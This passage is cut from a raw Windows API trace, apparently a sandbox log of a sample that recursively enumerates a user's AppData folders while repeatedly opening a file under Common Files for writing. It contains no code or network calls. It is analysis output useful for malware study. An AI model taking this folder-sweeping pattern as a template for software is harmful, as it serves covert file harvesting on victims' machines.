| out: lpWideCharStr=0x0) returned 41 [0131.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.688] GetFileType (hFile=0x188) returned 0x1 [0131.689] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.689] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.689] GetLastError () returned 0x12 [0131.689] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.689] GetLastError () returned 0x12 [0131.689] AreFileApisANSI () returned 1 [0131.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.689] GetFileType (hFile=0x184) returned 0x1 [0131.689] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.690] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.690] GetLastError () returned 0x12 [0131.690] AreFileApisANSI () returned 1 [0131.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.690] GetFileType (hFile=0x184) returned 0x1 [0131.690] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.690] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.690] GetLastError () returned 0x12 [0131.690] AreFileApisANSI () returned 1 [0131.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.691] GetFileType (hFile=0x184) returned 0x1 [0131.691] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.691] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.691] GetLastError () returned 0x12 [0131.691] AreFileApisANSI () returned 1 [0131.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.691] GetFileType (hFile=0x184) returned 0x1 [0131.691] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.691] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.692] GetLastError () returned 0x12 [0131.692] AreFileApisANSI () returned 1 [0131.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.692] GetFileType (hFile=0x184) returned 0x1 [0131.692] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.692] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.692] GetLastError () returned 0x12 [0131.692] AreFileApisANSI () returned 1 [0131.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.693] GetFileType (hFile=0x184) returned 0x1 [0131.693] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.693] AreFileApisANSI () returned 1 [0131.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.693] GetFileType (hFile=0x188) returned 0x1 [0131.693] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.693] AreFileApisANSI () returned 1 [0131.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.694] GetFileType (hFile=0x18c) returned 0x1 [0131.694] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x239, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0131.694] AreFileApisANSI () returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.694] GetFileType (hFile=0x190) returned 0x1 [0131.694] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.695] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.696] GetLastError () returned 0x12 [0131.696] AreFileApisANSI () returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.696] GetFileType (hFile=0x190) returned 0x1 [0131.696] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.697] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.698] GetLastError () returned 0x12 [0131.698] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.698] GetLastError () returned 0x12 [0131.698] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.698] GetLastError () returned 0x12 [0131.698] AreFileApisANSI () returned 1 [0131.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.698] GetFileType (hFile=0x188) returned 0x1 [0131.698] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.699] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.699] GetLastError () returned 0x12 [0131.699] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.699] GetLastError () returned 0x12 [0131.699] AreFileApisANSI () returned 1 [0131.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.699] GetFileType (hFile=0x184) returned 0x1 [0131.699] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.699] AreFileApisANSI () returned 1 [0131.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.700] GetFileType (hFile=0x188) returned 0x1 [0131.700] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.700] AreFileApisANSI () returned 1 [0131.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.700] GetFileType (hFile=0x18c) returned 0x1 [0131.700] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0131.700] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.700] GetLastError () returned 0x12 [0131.700] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.701] GetLastError () returned 0x12 [0131.701] AreFileApisANSI () returned 1 [0131.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.701] GetFileType (hFile=0x188) returned 0x1 [0131.701] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.701] AreFileApisANSI () returned 1 [0131.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.701] GetFileType (hFile=0x18c) returned 0x1 [0131.701] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0131.702] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.702] GetLastError () returned 0x12 [0131.702] AreFileApisANSI () returned 1 [0131.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.702] GetFileType (hFile=0x18c) returned 0x1 [0131.702] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0131.702] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.702] GetLastError () returned 0x12 [0131.702] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.702] GetLastError () returned 0x12 [0131.702] AreFileApisANSI () returned 1 [0131.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.703] GetFileType (hFile=0x188) returned 0x1 [0131.703] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, 